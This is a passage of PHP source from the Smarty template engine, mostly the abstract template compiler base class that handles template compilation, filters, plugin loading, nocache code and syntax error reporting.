     * @param int $cache_lifetime
     */
    public function setCacheLifetime($cache_lifetime)
    {
        $this->cache_lifetime = $cache_lifetime;
    }

    /**
     * @param string $compile_id
     */
    public function setCompileId($compile_id)
    {
        $this->compile_id = $compile_id;
    }

    /**
     * @param string $cache_id
     */
    public function setCacheId($cache_id)
    {
        $this->cache_id = $cache_id;
    }
}
<?php
/**
 * Smarty Internal Plugin Smarty Template Compiler Base
 * This file contains the basic classes and methods for compiling Smarty templates with lexer/parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Main abstract compiler class
 *
 * @package    Smarty
 * @subpackage Compiler
 *
 * @property Smarty_Internal_SmartyTemplateCompiler $prefixCompiledCode  = ''
 * @property Smarty_Internal_SmartyTemplateCompiler $postfixCompiledCode = ''
 * @method   registerPostCompileCallback($callback, $parameter = array(), $key = null, $replace = false)
 * @method   unregisterPostCompileCallback($key)
 */
abstract class Smarty_Internal_TemplateCompilerBase
{
    /**
     * compile tag objects cache
     *
     * @var array
     */
    public static $_tag_objects = array();

    /**
     * counter for prefix variable number
     *
     * @var int
     */
    public static $prefixVariableNumber = 0;

    /**
     * Smarty object
     *
     * @var Smarty
     */
    public $smarty = null;

    /**
     * Parser object
     *
     * @var Smarty_Internal_Templateparser
     */
    public $parser = null;

    /**
     * hash for nocache sections
     *
     * @var mixed
     */
    public $nocache_hash = null;

    /**
     * suppress generation of nocache code
     *
     * @var bool
     */
    public $suppressNocacheProcessing = false;

    /**
     * caching enabled (copied from template object)
     *
     * @var int
     */
    public $caching = 0;

    /**
     * tag stack
     *
     * @var array
     */
    public $_tag_stack = array();

    /**
     * tag stack count
     *
     * @var array
     */
    public $_tag_stack_count = array();

    /**
     * Plugins used by template
     *
     * @var array
     */
    public $required_plugins = array('compiled' => array(), 'nocache' => array());

    /**
     * Required plugins stack
     *
     * @var array
     */
    public $required_plugins_stack = array();

    /**
     * current template
     *
     * @var Smarty_Internal_Template
     */
    public $template = null;

    /**
     * merged included sub template data
     *
     * @var array
     */
    public $mergedSubTemplatesData = array();

    /**
     * merged sub template code
     *
     * @var array
     */
    public $mergedSubTemplatesCode = array();

    /**
     * collected template properties during compilation
     *
     * @var array
     */
    public $templateProperties = array();

    /**
     * source line offset for error messages
     *
     * @var int
     */
    public $trace_line_offset = 0;

    /**
     * trace uid
     *
     * @var string
     */
    public $trace_uid = '';

    /**
     * trace file path
     *
     * @var string
     */
    public $trace_filepath = '';

    /**
     * stack for tracing file and line of nested {block} tags
     *
     * @var array
     */
    public $trace_stack = array();

    /**
     * plugins loaded by default plugin handler
     *
     * @var array
     */
    public $default_handler_plugins = array();

    /**
     * saved preprocessed modifier list
     *
     * @var mixed
     */
    public $default_modifier_list = null;

    /**
     * force compilation of complete template as nocache
     *
     * @var boolean
     */
    public $forceNocache = false;

    /**
     * flag if compiled template file shall we written
     *
     * @var bool
     */
    public $write_compiled_code = true;

    /**
     * Template functions
     *
     * @var array
     */
    public $tpl_function = array();

    /**
     * called sub functions from template function
     *
     * @var array
     */
    public $called_functions = array();

    /**
     * compiled template or block function code
     *
     * @var string
     */
    public $blockOrFunctionCode = '';

    /**
     * flags for used modifier plugins
     *
     * @var array
     */
    public $modifier_plugins = array();

    /**
     * type of already compiled modifier
     *
     * @var array
     */
    public $known_modifier_type = array();

    /**
     * parent compiler object for merged subtemplates and template functions
     *
     * @var Smarty_Internal_TemplateCompilerBase
     */
    public $parent_compiler = null;

    /**
     * Flag true when compiling nocache section
     *
     * @var bool
     */
    public $nocache = false;

    /**
     * Flag true when tag is compiled as nocache
     *
     * @var bool
     */
    public $tag_nocache = false;

    /**
     * Compiled tag prefix code
     *
     * @var array
     */
    public $prefix_code = array();

    /**
     * used prefix variables by current compiled tag
     *
     * @var array
     */
    public $usedPrefixVariables = array();

    /**
     * Prefix code  stack
     *
     * @var array
     */
    public $prefixCodeStack = array();

    /**
     * Tag has compiled code
     *
     * @var bool
     */
    public $has_code = false;

    /**
     * A variable string was compiled
     *
     * @var bool
     */
    public $has_variable_string = false;

    /**
     * Stack for {setfilter} {/setfilter}
     *
     * @var array
     */
    public $variable_filter_stack = array();

    /**
     * variable filters for {setfilter} {/setfilter}
     *
     * @var array
     */
    public $variable_filters = array();

    /**
     * Nesting count of looping tags like {foreach}, {for}, {section}, {while}
     *
     * @var int
     */
    public $loopNesting = 0;

    /**
     * Strip preg pattern
     *
     * @var string
     */
    public $stripRegEx = '![\t ]*[\r\n]+[\t ]*!';

    /**
     * plugin search order
     *
     * @var array
     */
    public $plugin_search_order = array(
        'function',
        'block',
        'compiler',
        'class'
    );

    /**
     * General storage area for tag compiler plugins
     *
     * @var array
     */
    public $_cache = array();

    /**
     * Lexer preg pattern for left delimiter
     *
     * @var string
     */
    private $ldelPreg = '[{]';

    /**
     * Lexer preg pattern for right delimiter
     *
     * @var string
     */
    private $rdelPreg = '[}]';

    /**
     * Length of right delimiter
     *
     * @var int
     */
    private $rdelLength = 0;

    /**
     * Length of left delimiter
     *
     * @var int
     */
    private $ldelLength = 0;

    /**
     * Lexer preg pattern for user literals
     *
     * @var string
     */
    private $literalPreg = '';

    /**
     * Initialize compiler
     *
     * @param Smarty $smarty global instance
     */
    public function __construct(Smarty $smarty)
    {
        $this->smarty = $smarty;
        $this->nocache_hash = str_replace(
            array(
                '.',
                ','
            ),
            '_',
            uniqid(mt_rand(), true)
        );
    }

    /**
     * Method to compile a Smarty template
     *
     * @param Smarty_Internal_Template                  $template template object to compile
     * @param bool                                      $nocache  true is shall be compiled in nocache mode
     * @param null|Smarty_Internal_TemplateCompilerBase $parent_compiler
     *
     * @return bool true if compiling succeeded, false if it failed
     * @throws \Exception
     */
    public function compileTemplate(
        Smarty_Internal_Template $template,
        $nocache = null,
        ?Smarty_Internal_TemplateCompilerBase $parent_compiler = null
    ) {
        // get code frame of compiled template
        $_compiled_code = $template->smarty->ext->_codeFrame->create(
            $template,
            $this->compileTemplateSource(
                $template,
                $nocache,
                $parent_compiler
            ),
            $this->postFilter($this->blockOrFunctionCode) .
            join('', $this->mergedSubTemplatesCode),
            false,
            $this
        );
        return $_compiled_code;
    }

    /**
     * Compile template source and run optional post filter
     *
     * @param \Smarty_Internal_Template                  $template
     * @param null|bool                                  $nocache flag if template must be compiled in nocache mode
     * @param \Smarty_Internal_TemplateCompilerBase|null $parent_compiler
     *
     * @return string
     * @throws \Exception
     */
    public function compileTemplateSource(
        Smarty_Internal_Template $template,
        $nocache = null,
        ?Smarty_Internal_TemplateCompilerBase $parent_compiler = null
    ) {
        try {
            // save template object in compiler class
            $this->template = $template;
            if ($this->smarty->debugging) {
                if (!isset($this->smarty->_debug)) {
                    $this->smarty->_debug = new Smarty_Internal_Debug();
                }
                $this->smarty->_debug->start_compile($this->template);
            }
            $this->parent_compiler = $parent_compiler ? $parent_compiler : $this;
            $nocache = isset($nocache) ? $nocache : false;
            if (empty($template->compiled->nocache_hash)) {
                $template->compiled->nocache_hash = $this->nocache_hash;
            } else {
                $this->nocache_hash = $template->compiled->nocache_hash;
            }
            $this->caching = $template->caching;
            // flag for nocache sections
            $this->nocache = $nocache;
            $this->tag_nocache = false;
            // reset has nocache code flag
            $this->template->compiled->has_nocache_code = false;
            $this->has_variable_string = false;
            $this->prefix_code = array();
            // add file dependency
            if ($this->smarty->merge_compiled_includes || $this->template->source->handler->checkTimestamps()) {
                $this->parent_compiler->template->compiled->file_dependency[ $this->template->source->uid ] =
                    array(
                        $this->template->source->filepath,
                        $this->template->source->getTimeStamp(),
                        $this->template->source->type,
                    );
            }
            $this->smarty->_current_file = $this->template->source->filepath;
            // get template source
            if (!empty($this->template->source->components)) {
				$_compiled_code = '<?php $_smarty_tpl->_loadInheritance(); $_smarty_tpl->inheritance->init($_smarty_tpl, true); ?>';

				$i = 0;
				$reversed_components = array_reverse($this->template->getSource()->components);
				foreach ($reversed_components as $source) {
					$i++;
					if ($i === count($reversed_components)) {
						$_compiled_code .= '<?php $_smarty_tpl->inheritance->endChild($_smarty_tpl); ?>';
					}
					$_compiled_code .= $this->compileTag(
						'include',
						[
							var_export($source->resource, true),
							['scope' => 'parent'],
						]
					);
				}
				$_compiled_code = $this->postFilter($_compiled_code, $this->template);
            } else {
                // get template source
                $_content = $this->template->source->getContent();
				$_compiled_code = $this->postFilter($this->doCompile($this->preFilter($_content), true));
            }
            if (!empty($this->required_plugins[ 'compiled' ]) || !empty($this->required_plugins[ 'nocache' ])) {
                $_compiled_code = '<?php ' . $this->compileRequiredPlugins() . "?>\n" . $_compiled_code;
            }
        } catch (Exception $e) {
            if ($this->smarty->debugging) {
                $this->smarty->_debug->end_compile($this->template);
            }
            $this->_tag_stack = array();
            // free memory
            $this->parent_compiler = null;
            $this->template = null;
            $this->parser = null;
            throw $e;
        }
        if ($this->smarty->debugging) {
            $this->smarty->_debug->end_compile($this->template);
        }
        $this->parent_compiler = null;
        $this->parser = null;
        return $_compiled_code;
    }

    /**
     * Optionally process compiled code by post filter
     *
     * @param string $code compiled code
     *
     * @return string
     * @throws \SmartyException
     */
    public function postFilter($code)
    {
        // run post filter if on code
        if (!empty($code)
            && (isset($this->smarty->autoload_filters[ 'post' ]) || isset($this->smarty->registered_filters[ 'post' ]))
        ) {
            return $this->smarty->ext->_filterHandler->runFilter('post', $code, $this->template);
        } else {
            return $code;
        }
    }

    /**
     * Run optional prefilter
     *
     * @param string $_content template source
     *
     * @return string
     * @throws \SmartyException
     */
    public function preFilter($_content)
    {
        // run pre filter if required
        if ($_content !== ''
            && ((isset($this->smarty->autoload_filters[ 'pre' ]) || isset($this->smarty->registered_filters[ 'pre' ])))
        ) {
            return $this->smarty->ext->_filterHandler->runFilter('pre', $_content, $this->template);
        } else {
            return $_content;
        }
    }

    /**
     * Compile Tag
     * This is a call back from the lexer/parser
     *
     * Save current prefix code
     * Compile tag
     * Merge tag prefix code with saved one
     * (required nested tags in attributes)
     *
     * @param string $tag       tag name
     * @param array  $args      array with tag attributes
     * @param array  $parameter array with compilation parameter
     *
     * @throws SmartyCompilerException
     * @throws SmartyException
     * @return string compiled code
     */
    public function compileTag($tag, $args, $parameter = array())
    {
        $this->prefixCodeStack[] = $this->prefix_code;
        $this->prefix_code = array();
        $result = $this->compileTag2($tag, $args, $parameter);
        $this->prefix_code = array_merge($this->prefix_code, array_pop($this->prefixCodeStack));
        return $result;
    }

    /**
     * compile variable
     *
     * @param string $variable
     *
     * @return string
     */
    public function compileVariable($variable)
    {
        if (!strpos($variable, '(')) {
            // not a variable variable
            $var = trim($variable, '\'');
            $this->tag_nocache = $this->tag_nocache |
                                 $this->template->ext->getTemplateVars->_getVariable(
                                     $this->template,
                                     $var,
                                     null,
                                     true,
                                     false
                                 )->nocache;
            // todo $this->template->compiled->properties['variables'][$var] = $this->tag_nocache | $this->nocache;
        }
        return '$_smarty_tpl->tpl_vars[' . $variable . ']->value';
    }

    /**
     * compile config variable
     *
     * @param string $variable
     *
     * @return string
     */
    public function compileConfigVariable($variable)
    {
        // return '$_smarty_tpl->config_vars[' . $variable . ']';
        return '$_smarty_tpl->smarty->ext->configLoad->_getConfigVariable($_smarty_tpl, ' . $variable . ')';
    }

    /**
     * compile PHP function call
     *
     * @param string $name
     * @param array  $parameter
     *
     * @return string
     * @throws \SmartyCompilerException
     */
    public function compilePHPFunctionCall($name, $parameter)
    {
        if (!$this->smarty->security_policy || $this->smarty->security_policy->isTrustedPhpFunction($name, $this)) {
            if (strcasecmp($name, 'isset') === 0 || strcasecmp($name, 'empty') === 0
                || strcasecmp($name, 'array') === 0 || is_callable($name)
            ) {
                $func_name = smarty_strtolower_ascii($name);

                if ($func_name === 'isset') {
                    if (count($parameter) === 0) {
                        $this->trigger_template_error('Illegal number of parameter in "isset()"');
                    }

                    $pa = array();
                    foreach ($parameter as $p) {
                        $pa[] = $this->syntaxMatchesVariable($p) ? 'isset(' . $p . ')' : '(' . $p . ' !== null )';
                    }
                    return '(' . implode(' && ', $pa) . ')';

                } elseif (in_array(
                    $func_name,
                    array(
                        'empty',
                        'reset',
                        'current',
                        'end',
                        'prev',
                        'next'
                    )
                )
                ) {
                    if (count($parameter) !== 1) {
                        $this->trigger_template_error("Illegal number of parameter in '{$func_name()}'");
                    }
                    if ($func_name === 'empty') {
                        return $func_name . '(' .
                               str_replace("')->value", "',null,true,false)->value", $parameter[ 0 ]) . ')';
                    } else {
                        return $func_name . '(' . $parameter[ 0 ] . ')';
                    }
                } else {

					if (
						!$this->smarty->loadPlugin('smarty_modifiercompiler_' . $name)
						&& !isset($this->smarty->registered_plugins[Smarty::PLUGIN_MODIFIER][$name])
						&& !in_array($name, ['time', 'join', 'is_array', 'in_array', 'count'])
					) {
						trigger_error('Using unregistered function "' . $name . '" in a template is deprecated and will be ' .
							'removed in a future release. Use Smarty::registerPlugin to explicitly register ' .
							'a custom modifier.', E_USER_DEPRECATED);
					}

					return $name . '(' . implode(',', $parameter) . ')';
                }
            } else {
                $this->trigger_template_error("unknown function '{$name}'");
            }
        }
    }

    /**
     * Determines whether the passed string represents a valid (PHP) variable.
     * This is important, because `isset()` only works on variables and `empty()` can only be passed
     * a variable prior to php5.5
     * @param $string
     * @return bool
     */
    private function syntaxMatchesVariable($string) {
        static $regex_pattern = '/^\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*((->)[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*|\[.*]*\])*$/';
        return 1 === preg_match($regex_pattern, trim($string));
    }

    /**
     * This method is called from parser to process a text content section if strip is enabled
     * - remove text from inheritance child templates as they may generate output
     *
     * @param string $text
     *
     * @return string
     */
    public function processText($text)
    {

        if (strpos($text, '<') === false) {
            return preg_replace($this->stripRegEx, '', $text);
        }

        $store = array();
        $_store = 0;

        // capture html elements not to be messed with
        $_offset = 0;
        if (preg_match_all(
            '#(<script[^>]*>.*?</script[^>]*>)|(<textarea[^>]*>.*?</textarea[^>]*>)|(<pre[^>]*>.*?</pre[^>]*>)#is',
            $text,
            $matches,
            PREG_OFFSET_CAPTURE | PREG_SET_ORDER
        )
        ) {
            foreach ($matches as $match) {
                $store[] = $match[ 0 ][ 0 ];
                $_length = strlen($match[ 0 ][ 0 ]);
                $replace = '@!@SMARTY:' . $_store . ':SMARTY@!@';
                $text = substr_replace($text, $replace, $match[ 0 ][ 1 ] - $_offset, $_length);
                $_offset += $_length - strlen($replace);
                $_store++;
            }
        }
        $expressions = array(// replace multiple spaces between tags by a single space
                             '#(:SMARTY@!@|>)[\040\011]+(?=@!@SMARTY:|<)#s'                            => '\1 \2',
                             // remove newline between tags
                             '#(:SMARTY@!@|>)[\040\011]*[\n]\s*(?=@!@SMARTY:|<)#s'                     => '\1\2',
                             // remove multiple spaces between attributes (but not in attribute values!)
                             '#(([a-z0-9]\s*=\s*("[^"]*?")|(\'[^\']*?\'))|<[a-z0-9_]+)\s+([a-z/>])#is' => '\1 \5',
                             '#>[\040\011]+$#Ss'                                                       => '> ',
                             '#>[\040\011]*[\n]\s*$#Ss'                                                => '>',
                             $this->stripRegEx                                                         => '',
        );
        $text = preg_replace(array_keys($expressions), array_values($expressions), $text);
        $_offset = 0;
        if (preg_match_all(
            '#@!@SMARTY:([0-9]+):SMARTY@!@#is',
            $text,
            $matches,
            PREG_OFFSET_CAPTURE | PREG_SET_ORDER
        )
        ) {
            foreach ($matches as $match) {
                $_length = strlen($match[ 0 ][ 0 ]);
                $replace = $store[ $match[ 1 ][ 0 ] ];
                $text = substr_replace($text, $replace, $match[ 0 ][ 1 ] + $_offset, $_length);
                $_offset += strlen($replace) - $_length;
                $_store++;
            }
        }
        return $text;
    }

    /**
     * lazy loads internal compile plugin for tag and calls the compile method
     * compile objects cached for reuse.
     * class name format:  Smarty_Internal_Compile_TagName
     * plugin filename format: Smarty_Internal_TagName.php
     *
     * @param string $tag    tag name
     * @param array  $args   list of tag attributes
     * @param mixed  $param1 optional parameter
     * @param mixed  $param2 optional parameter
     * @param mixed  $param3 optional parameter
     *
     * @return bool|string compiled code or false
     * @throws \SmartyCompilerException
     */
    public function callTagCompiler($tag, $args, $param1 = null, $param2 = null, $param3 = null)
    {
        /* @var Smarty_Internal_CompileBase $tagCompiler */
        $tagCompiler = $this->getTagCompiler($tag);
        // compile this tag
        return $tagCompiler === false ? false : $tagCompiler->compile($args, $this, $param1, $param2, $param3);
    }

    /**
     * lazy loads internal compile plugin for tag compile objects cached for reuse.
     *
     * class name format:  Smarty_Internal_Compile_TagName
     * plugin filename format: Smarty_Internal_TagName.php
     *
     * @param string $tag tag name
     *
     * @return bool|\Smarty_Internal_CompileBase tag compiler object or false if not found
     */
    public function getTagCompiler($tag)
    {
        // re-use object if already exists
        if (!isset(self::$_tag_objects[ $tag ])) {
            // lazy load internal compiler plugin
            $_tag = explode('_', $tag);
            $_tag = array_map('smarty_ucfirst_ascii', $_tag);
            $class_name = 'Smarty_Internal_Compile_' . implode('_', $_tag);
            if (class_exists($class_name)
                && (!isset($this->smarty->security_policy) || $this->smarty->security_policy->isTrustedTag($tag, $this))
            ) {
                self::$_tag_objects[ $tag ] = new $class_name;
            } else {
                self::$_tag_objects[ $tag ] = false;
            }
        }
        return self::$_tag_objects[ $tag ];
    }

    /**
     * Check for plugins and return function name
     *
     * @param        $plugin_name
     * @param string $plugin_type type of plugin
     *
     * @return string call name of function
     * @throws \SmartyException
     */
    public function getPlugin($plugin_name, $plugin_type)
    {
        $function = null;
        if ($this->caching && ($this->nocache || $this->tag_nocache)) {
            if (isset($this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ])) {
                $function =
                    $this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ][ 'function' ];
            } elseif (isset($this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ])) {
                $this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ] =
                    $this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ];
                $function =
                    $this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ][ 'function' ];
            }
        } else {
            if (isset($this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ])) {
                $function =
                    $this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ][ 'function' ];
            } elseif (isset($this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ])) {
                $this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ] =
                    $this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ];
                $function =
                    $this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ][ 'function' ];
            }
        }
        if (isset($function)) {
            if ($plugin_type === 'modifier') {
                $this->modifier_plugins[ $plugin_name ] = true;
            }
            return $function;
        }
        // loop through plugin dirs and find the plugin
        $function = 'smarty_' . $plugin_type . '_' . $plugin_name;
        $file = $this->smarty->loadPlugin($function, false);
        if (is_string($file)) {
            if ($this->caching && ($this->nocache || $this->tag_nocache)) {
                $this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ][ 'file' ] =
                    $file;
                $this->required_plugins[ 'nocache' ][ $plugin_name ][ $plugin_type ][ 'function' ] =
                    $function;
            } else {
                $this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ][ 'file' ] =
                    $file;
                $this->required_plugins[ 'compiled' ][ $plugin_name ][ $plugin_type ][ 'function' ] =
                    $function;
            }
            if ($plugin_type === 'modifier') {
                $this->modifier_plugins[ $plugin_name ] = true;
            }
            return $function;
        }
        if (is_callable($function)) {
            // plugin function is defined in the script
            return $function;
        }
        return false;
    }

    /**
     * Check for plugins by default plugin handler
     *
     * @param string $tag         name of tag
     * @param string $plugin_type type of plugin
     *
     * @return bool true if found
     * @throws \SmartyCompilerException
     */
    public function getPluginFromDefaultHandler($tag, $plugin_type)
    {
        $callback = null;
        $script = null;
        $cacheable = true;
        $result = call_user_func_array(
            $this->smarty->default_plugin_handler_func,
            array(
                $tag,
                $plugin_type,
                $this->template,
                &$callback,
                &$script,
                &$cacheable,
            )
        );
        if ($result) {
            $this->tag_nocache = $this->tag_nocache || !$cacheable;
            if ($script !== null) {
                if (is_file($script)) {
                    if ($this->caching && ($this->nocache || $this->tag_nocache)) {
                        $this->required_plugins[ 'nocache' ][ $tag ][ $plugin_type ][ 'file' ] =
                            $script;
                        $this->required_plugins[ 'nocache' ][ $tag ][ $plugin_type ][ 'function' ] =
                            $callback;
                    } else {
                        $this->required_plugins[ 'compiled' ][ $tag ][ $plugin_type ][ 'file' ] =
                            $script;
                        $this->required_plugins[ 'compiled' ][ $tag ][ $plugin_type ][ 'function' ] =
                            $callback;
                    }
                    include_once $script;
                } else {
                    $this->trigger_template_error("Default plugin handler: Returned script file '{$script}' for '{$tag}' not found");
                }
            }
            if (is_callable($callback)) {
                $this->default_handler_plugins[ $plugin_type ][ $tag ] = array(
                    $callback,
                    true,
                    array()
                );
                return true;
            } else {
                $this->trigger_template_error("Default plugin handler: Returned callback for '{$tag}' not callable");
            }
        }
        return false;
    }

    /**
     * Append code segments and remove unneeded ?> <?php transitions
     *
     * @param string $left
     * @param string $right
     *
     * @return string
     */
    public function appendCode($left, $right)
    {
        if (preg_match('/\s*\?>\s?$/D', $left) && preg_match('/^<\?php\s+/', $right)) {
            $left = preg_replace('/\s*\?>\s?$/D', "\n", $left);
            $left .= preg_replace('/^<\?php\s+/', '', $right);
        } else {
            $left .= $right;
        }
        return $left;
    }

    /**
     * Inject inline code for nocache template sections
     * This method gets the content of each template element from the parser.
     * If the content is compiled code and it should be not cached the code is injected
     * into the rendered output.
     *
     * @param string  $content content of template element
     * @param boolean $is_code true if content is compiled code
     *
     * @return string  content
     */
    public function processNocacheCode($content, $is_code)
    {
        // If the template is not evaluated and we have a nocache section and or a nocache tag
        if ($is_code && !empty($content)) {
            // generate replacement code
            if ((!($this->template->source->handler->recompiled) || $this->forceNocache) && $this->caching
                && !$this->suppressNocacheProcessing && ($this->nocache || $this->tag_nocache)
            ) {
                $this->template->compiled->has_nocache_code = true;
                $_output = addcslashes($content, '\'\\');
                $_output = str_replace('^#^', '\'', $_output);
                $_output =
                    "<?php echo '/*%%SmartyNocache:{$this->nocache_hash}%%*/{$_output}/*/%%SmartyNocache:{$this->nocache_hash}%%*/';?>\n";
                // make sure we include modifier plugins for nocache code
                foreach ($this->modifier_plugins as $plugin_name => $dummy) {
                    if (isset($this->required_plugins[ 'compiled' ][ $plugin_name ][ 'modifier' ])) {
                        $this->required_plugins[ 'nocache' ][ $plugin_name ][ 'modifier' ] =
                            $this->required_plugins[ 'compiled' ][ $plugin_name ][ 'modifier' ];
                    }
                }
            } else {
                $_output = $content;
            }
        } else {
            $_output = $content;
        }
        $this->modifier_plugins = array();
        $this->suppressNocacheProcessing = false;
        $this->tag_nocache = false;
        return $_output;
    }

    /**
     * Get Id
     *
     * @param string $input
     *
     * @return bool|string
     */
    public function getId($input)
    {
        if (preg_match('~^([\'"]*)([0-9]*[a-zA-Z_]\w*)\1$~', $input, $match)) {
            return $match[ 2 ];
        }
        return false;
    }

    /**
     * Get variable name from string
     *
     * @param string $input
     *
     * @return bool|string
     */
    public function getVariableName($input)
    {
        if (preg_match('~^[$]_smarty_tpl->tpl_vars\[[\'"]*([0-9]*[a-zA-Z_]\w*)[\'"]*\]->value$~', $input, $match)) {
            return $match[ 1 ];
        }
        return false;
    }

    /**
     * Set nocache flag in variable or create new variable
     *
     * @param string $varName
     */
    public function setNocacheInVariable($varName)
    {
        // create nocache var to make it know for further compiling
        if ($_var = $this->getId($varName)) {
            if (isset($this->template->tpl_vars[ $_var ])) {
                $this->template->tpl_vars[ $_var ] = clone $this->template->tpl_vars[ $_var ];
                $this->template->tpl_vars[ $_var ]->nocache = true;
            } else {
                $this->template->tpl_vars[ $_var ] = new Smarty_Variable(null, true);
            }
        }
    }

    /**
     * @param array $_attr tag attributes
     * @param array $validScopes
     *
     * @return int|string
     * @throws \SmartyCompilerException
     */
    public function convertScope($_attr, $validScopes)
    {
        $_scope = 0;
        if (isset($_attr[ 'scope' ])) {
            $_scopeName = trim($_attr[ 'scope' ], '\'"');
            if (is_numeric($_scopeName) && in_array($_scopeName, $validScopes)) {
                $_scope = $_scopeName;
            } elseif (is_string($_scopeName)) {
                $_scopeName = trim($_scopeName, '\'"');
                $_scope = isset($validScopes[ $_scopeName ]) ? $validScopes[ $_scopeName ] : false;
            } else {
                $_scope = false;
            }
            if ($_scope === false) {
                $err = var_export($_scopeName, true);
                $this->trigger_template_error("illegal value '{$err}' for \"scope\" attribute", null, true);
            }
        }
        return $_scope;
    }

    /**
     * Generate nocache code string
     *
     * @param string $code PHP code
     *
     * @return string
     */
    public function makeNocacheCode($code)
    {
        return "echo '/*%%SmartyNocache:{$this->nocache_hash}%%*/<?php " .
               str_replace('^#^', '\'', addcslashes($code, '\'\\')) .
               "?>/*/%%SmartyNocache:{$this->nocache_hash}%%*/';\n";
    }

    /**
     * display compiler error messages without dying
     * If parameter $args is empty it is a parser detected syntax error.
     * In this case the parser is called to obtain information about expected tokens.
     * If parameter $args contains a string this is used as error message
     *
     * @param string    $args    individual error message or null
     * @param string    $line    line-number
     * @param null|bool $tagline if true the line number of last tag
     *
     * @throws \SmartyCompilerException when an unexpected token is found
     */
    public function trigger_template_error($args = null, $line = null, $tagline = null)
    {
        $lex = $this->parser->lex;
        if ($tagline === true) {
            // get line number of Tag
            $line = $lex->taglineno;
        } elseif (!isset($line)) {
            // get template source line which has error
            $line = $lex->line;
        } else {
            $line = (int)$line;
        }
        if (in_array(
            $this->template->source->type,
            array(
                'eval',
                'string'
            )
        )
        ) {
            $templateName = $this->template->source->type . ':' . trim(
                    preg_replace(
                        '![\t\r\n]+!',
                        ' ',
                        strlen($lex->data) > 40 ?
                            substr($lex->data, 0, 40) .
                            '...' : $lex->data
                    )
                );
        } else {
            $templateName = $this->template->source->type . ':' . $this->template->source->filepath;
        }
        //        $line += $this->trace_line_offset;
        $match = preg_split("/\n/", $lex->data);
        $error_text =
            'Syntax error in template "' . (empty($this->trace_filepath) ? $templateName : $this->trace_filepath) .
            '"  on line ' . ($line + $this->trace_line_offset) . ' "' .
            trim(preg_replace('![\t\r\n]+!', ' ', $match[ $line - 1 ])) . '" ';
        if (isset($args)) {
            // individual error message
            $error_text .= $args;
        } else {
            $expect = array();
            // expected token from parser
            $error_text .= ' - Unexpected "' . $lex->value . '"';
            if (count($this->parser->yy_get_expected_tokens($this->parser->yymajor)) <= 4) {
                foreach ($this->parser->yy_get_expected_tokens($this->parser->yymajor) as $token) {
                    $exp_token = $this->parser->yyTokenName[ $token ];
                    if (isset($lex->smarty_token_names[ $exp_token ])) {
                        // token type from lexer
                        $expect[] = '"' . $lex->smarty_token_names[ $exp_token ] . '"';
                    } else {
                        // otherwise internal token name
                        $expect[] = $this->parser->yyTokenName[ $token ];
                    }
                }
                $error_text .= ', expected one of: ' . implode(' , ', $expect);
            }
        }
        if ($this->smarty->_parserdebug) {
            $this->parser->errorRunDown();
            echo ob_get_clean();
            flush();
        }
        $e = new SmartyCompilerException(
            $error_text,
            0,
            $this->template->source->filepath,
            $line
        );
        $e->source = trim(preg_replace('![\t\r\n]+!', ' ', $match[ $line - 1 ]));
        $e->desc = $args;
        $e->template = $this->template->source->filepath;
        throw $e;
    }

    /**
     * Return var_export() value with all white spaces removed
     *
     * @param mixed $value
     *
     * @return string
     */
    public function getVarExport($value)
    {
        return preg_replace('/\s/', '', var_export($value, true));
    }

    /**
     *  enter double quoted string
     *  - save tag stack count
     */
    public function enterDoubleQuote()
    {
        array_push($this->_tag_stack_count, $this->getTagStackCount());
    }

    /**
     * Return tag stack count
     *
     * @return int
     */
    public function getTagStackCount()
    {
        return count($this->_tag_stack);
    }

    /**
     * @param $lexerPreg
     *
     * @return mixed
     */
    public function replaceDelimiter($lexerPreg)
    {
        return str_replace(
            array('SMARTYldel', 'SMARTYliteral', 'SMARTYrdel', 'SMARTYautoliteral', 'SMARTYal'),
            array(
                $this->ldelPreg, $this->literalPreg, $this->rdelPreg,
                $this->smarty->getAutoLiteral() ? '{1,}' : '{9}',
                $this->smarty->getAutoLiteral() ? '' : '\\s*'
            ),
            $lexerPreg
        );
    }

    /**
     * Build lexer regular expressions for left and right delimiter and user defined literals
     */
    public function initDelimiterPreg()
    {
        $ldel = $this->smarty->getLeftDelimiter();
        $this->ldelLength = strlen($ldel);
        $this->ldelPreg = '';
        foreach (str_split($ldel, 1) as $chr) {
            $this->ldelPreg .= '[' . preg_quote($chr,'/') . ']';
        }
        $rdel = $this->smarty->getRightDelimiter();
        $this->rdelLength = strlen($rdel);
        $this->rdelPreg = '';
        foreach (str_split($rdel, 1) as $chr) {
            $this->rdelPreg .= '[' . preg_quote($chr,'/') . ']';
        }
        $literals = $this->smarty->getLiterals();
        if (!empty($literals)) {
            foreach ($literals as $key => $literal) {
                $literalPreg = '';
                foreach (str_split($literal, 1) as $chr) {
                    $literalPreg .= '[' . preg_quote($chr,'/') . ']';
                }
                $literals[ $key ] = $literalPreg;
            }
            $this->literalPreg = '|' . implode('|', $literals);
        } else {
            $this->literalPreg = '';
        }
    }

    /**
     *  leave double quoted string
     *  - throw exception if block in string was not closed
     *
     * @throws \SmartyCompilerException
     */
    public function leaveDoubleQuote()
    {
        if (array_pop($this->_tag_stack_count) !== $this->getTagStackCount()) {
            $tag = $this->getOpenBlockTag();
            $this->trigger_template_error(
                "unclosed '{{$tag}}' in doubled quoted string",
                null,
                true
            );
        }
    }

    /**
     * Get left delimiter preg
     *
     * @return string
     */
    public function getLdelPreg()
    {
        return $this->ldelPreg;
    }

    /**
     * Get right delimiter preg
     *
     * @return string
     */
    public function getRdelPreg()
    {
        return $this->rdelPreg;
    }

    /**
